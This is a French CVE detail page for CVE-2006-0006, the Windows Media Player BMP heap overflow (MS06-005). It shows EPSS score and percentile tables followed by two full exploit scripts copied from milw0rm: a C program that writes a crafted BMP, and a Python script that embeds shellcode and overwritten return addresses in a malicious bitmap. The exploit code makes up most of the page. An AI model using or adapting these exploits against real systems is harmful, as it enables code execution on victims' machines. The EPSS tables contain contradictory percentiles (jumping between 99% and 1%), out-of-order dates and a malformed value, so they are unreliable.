CVE-2006-0006 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	63.98%	–	–
2023-03-12	–	–	–	96.8%	–
2023-04-16	–	–	–	96.76%	–
2023-05-21	–	–	–	96.67%	–
2023-07-16	–	–	–	96.71%	–
2023-08-27	–	–	–	96.61%	–
2023-10-22	–	–	–	96.55%	–
2023-12-10	–	–	–	96.55%	–
2024-01-07	–	–	–	96.57%	–
2024-06-02	–	–	–	96.57%	–
2024-06-02	–	–	–	96.57%	–
2024-06-09	–	–	–	95.72%	–
2024-11-24	–	–	–	95.72%	–
2024-12-22	–	–	–	95.31%	–
2025-01-26	–	–	–	94.71%	–
2025-01-19	–	–	–	95.31%	–
2025-01-25	–	–	–	94.71%	–
2025-03-18	–	–	–	–	73.9%
2025-03-18	–	–	–	–	73.9,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	99%
2023-04-16	99%
2023-05-21	99%
2023-07-16	99%
2023-08-27	99%
2023-10-22	99%
2023-12-10	1%
2024-01-07	1%
2024-06-02	1%
2024-06-02	1%
2024-06-09	99%
2024-11-24	1%
2024-12-22	1%
2025-01-26	99%
2025-01-19	1%
2025-01-25	99%
2025-03-18	99%
2025-03-18	99%

/* * For Remote Exploration (hint): * http://www.spyinstructors.com/atmaca/research/wmp_remote_poc.asx */ /* * * Windows Media Player BMP Heap Overflow (MS06-005) * Bug discovered by eEye - http://www.eeye.com/html/research/advisories/AD20060214.html * Exploit coded by ATmaCA * Web: http://www.spyinstructors.com && http://www.atmacasoft.com * E-Mail: atmaca@icqmail.com * Credit to Kozan * */ /* * * Systems Affected: * Microsoft Windows Media Player 7.1 through 10 * * Windows NT 4.0 * Windows 98 / ME * Windows 2000 SP4 * Windows XP SP1 / SP2 * Windows 2003 * * */ /* * * In this vulnerability,payload is loaded to different places in memory each time. * but some time is very easy to call our shell code : * http://www.spyinstructors.com/atmaca/research/wmp.JPG * but some times not =) because of ,no shell this time * */ /* * * Microsoft has released a patch for this vulnerability. * The patch is available at: * http://www.microsoft.com/technet/security/bulletin/ms06-005.mspx * */ #include <windows.h> #include <stdio.h> #define BITMAP_FILE_SIZE 0xA8D2 #define BITMAP_FILE_NAME "crafted.bmp" #pragma pack( push ) #pragma pack( 1 ) // bitmap file format - http://atlc.sourceforge.net/bmp.html //File information header provides general information about the file typedef struct _BitmapFileHeader { WORD bfType; DWORD bfSize; WORD bfReserved1; WORD bfReserved2; DWORD bfOffBits; } BMPFHEADER; //Bitmap information header provides information specific to the image data typedef struct _BitmapInfoHeader{ DWORD biSize; LONG biWidth; LONG biHeight; WORD biPlanes; WORD biBitCount; DWORD biCompression; DWORD biSizeImage; LONG biXPelsPerMeter; LONG biYPelsPerMeter; DWORD biClrUsed; DWORD biClrImportant; } BMPIHEADER; #pragma pack( pop ) int main(void) { FILE *File; BMPFHEADER *bmp_fheader; BMPIHEADER *bmp_iheader; char *pszBuffer; printf("\nWindows Media Player BMP Heap Overflow (MS06-005)"); printf("\nBug discovered by eEye"); printf("\nExploit coded by ATmaCA"); printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com"); printf("\nE-Mail: atmaca@icqmail.com"); printf("\nCredit to Kozan"); if ( (File = fopen(BITMAP_FILE_NAME,"w+b")) == NULL ) { printf("\n [E:] fopen()"); exit(1); } bmp_fheader=(BMPFHEADER*)malloc(sizeof(BMPFHEADER)); bmp_iheader=(BMPIHEADER*)malloc(sizeof(BMPIHEADER)); pszBuffer = (char*)malloc(BITMAP_FILE_SIZE); memset(pszBuffer,0x41,BITMAP_FILE_SIZE); bmp_fheader->bfType = 0x4D42; // "BM" bmp_fheader->bfSize = BITMAP_FILE_SIZE; bmp_fheader->bfReserved1 = 0x00; bmp_fheader->bfReserved2 = 0x00; // eEye - MAGIC // Antiviruses will get the signature from here!!! bmp_fheader->bfOffBits = 0x00; //( sizeof(BMPFHEADER) + sizeof(BMPIHEADER) ); bmp_iheader->biSize = 0x28; bmp_iheader->biWidth = 0x91; bmp_iheader->biHeight = 0x63; bmp_iheader->biPlanes = 0x01; bmp_iheader->biBitCount = 0x18; bmp_iheader->biCompression = 0x00; bmp_iheader->biSizeImage = 0xA89C; bmp_iheader->biXPelsPerMeter = 0x00; bmp_iheader->biYPelsPerMeter = 0x00; bmp_iheader->biClrUsed = 0x00; bmp_iheader->biClrImportant = 0x00; memcpy(pszBuffer,bmp_fheader,sizeof(BMPFHEADER)); memcpy(pszBuffer+sizeof(BMPFHEADER),bmp_iheader,sizeof(BMPIHEADER)); fwrite(pszBuffer, BITMAP_FILE_SIZE-1, 1,File); fwrite("\x00", 1,1, File); //Terminator fclose(File); printf("\n\n" BITMAP_FILE_NAME" has been created in the current directory.\n"); return 1; } // milw0rm.com [2006-02-15]

# sploit creater by redsand@blacksecurity.org # ms06-005 advisory proof of concept # heap overflow in wmf.dll @ 0x0035920a # denial of service, cuz we can't get this to play nice #shamelessly stolen from CANVAS code def intel_order(i): str="" a=chr(i % 256) i=i >> 8 b=chr(i % 256) i=i >> 8 c=chr(i % 256) i=i >> 8 d=chr(i % 256) str+="%c%c%c%c" % (a,b,c,d) return str def stroverwrite(instring,overwritestring,offset): head=instring[:offset] #print head tail=instring[offset+len(overwritestring):] #print tail result=head+overwritestring+tail return result #options #SEH HAndle #anything with a call/jmp edi/ecx + 4 or more EIP=0x75e1692c # call edi +20 for win2k pro eng in oleaut DUMMY=0xccccccccL filename = "rbl4ck-06-005.bmp" header = "\x42\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x28\x00" header += "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00" header += "\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00" header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC" c0de = "\x90" * 350 c0de += "\xCD\x03" c0de += "\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C" c0de += "\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C" c0de += "\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B" c0de += "\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34" c0de += "\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74" c0de += "\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28" c0de += "\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B" c0de += "\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24" c0de += "\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A" c0de += "\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8" c0de += "\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B" c0de += "\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74" c0de += "\x65\x70\x61\x64\x2E\x65\x78\x65\x01" #tag c0de += "0wn3dbyr3ds4nd" for on in range(256): c0de += intel_order(EIP-80) body = "" r=0x88888800L for on in range(235): r+=0x01L body += intel_order(r) body += c0de body = stroverwrite(body,intel_order(EIP-4),56) body = stroverwrite(body,intel_order(EIP),96) body = stroverwrite(body,intel_order(EIP),160) body = stroverwrite(body,intel_order(EIP-0x3c),708) body = stroverwrite(body,intel_order(EIP),828) body = stroverwrite(body,intel_order(EIP),868) body = stroverwrite(body,intel_order(EIP),936) # #here's our call eax+4 body = stroverwrite(body,intel_order(EIP-4),948) # # body = stroverwrite(body,intel_order(EIP),300) print "MS06-005 Heap Overflow by redsand [at] blacksecurity.org" print "Writing filename " + filename + "..." try: fsock = open(filename, "wb+", 0) try: fsock.write(header + body ); finally: fsock.close() except IOError: pass print "success." # milw0rm.com [2006-02-16]